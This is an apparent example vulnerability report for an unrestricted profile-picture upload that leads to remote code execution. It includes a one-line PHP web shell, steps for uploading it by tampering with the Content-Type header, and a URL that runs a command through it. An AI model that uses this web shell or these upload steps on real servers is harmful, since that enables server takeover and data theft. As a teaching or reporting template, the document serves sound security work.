Example 1: Unrestricted File Upload

- **Title:** `Unrestricted file upload leads to RCE`
- **Severity:** `Critical`
- **Vulnerability Description:** The file upload functionality on the user's profile picture page does not properly validate file types. This allows an attacker to upload a malicious `.php` or other executable file, leading to Remote Code Execution (RCE) on the server.
- **Steps to Reproduce:**
  1. Create a file named `shell.php` with the content `<?php echo shell_exec($_GET['cmd']); ?>`.
  2. Navigate to the profile picture upload page.
  3. Intercept the upload request using a proxy tool like Burp Suite.
  4. Change the `Content-Type` header from `image/jpeg` to `application/x-php`.
  5. Forward the request. The malicious file is uploaded.
  6. Access the uploaded file via the web server, e.g., `https://example.com/uploads/shell.php?cmd=whoami`.
- **Impact:** An attacker can execute arbitrary commands on the server, leading to a complete server compromise, data theft, and further network penetration.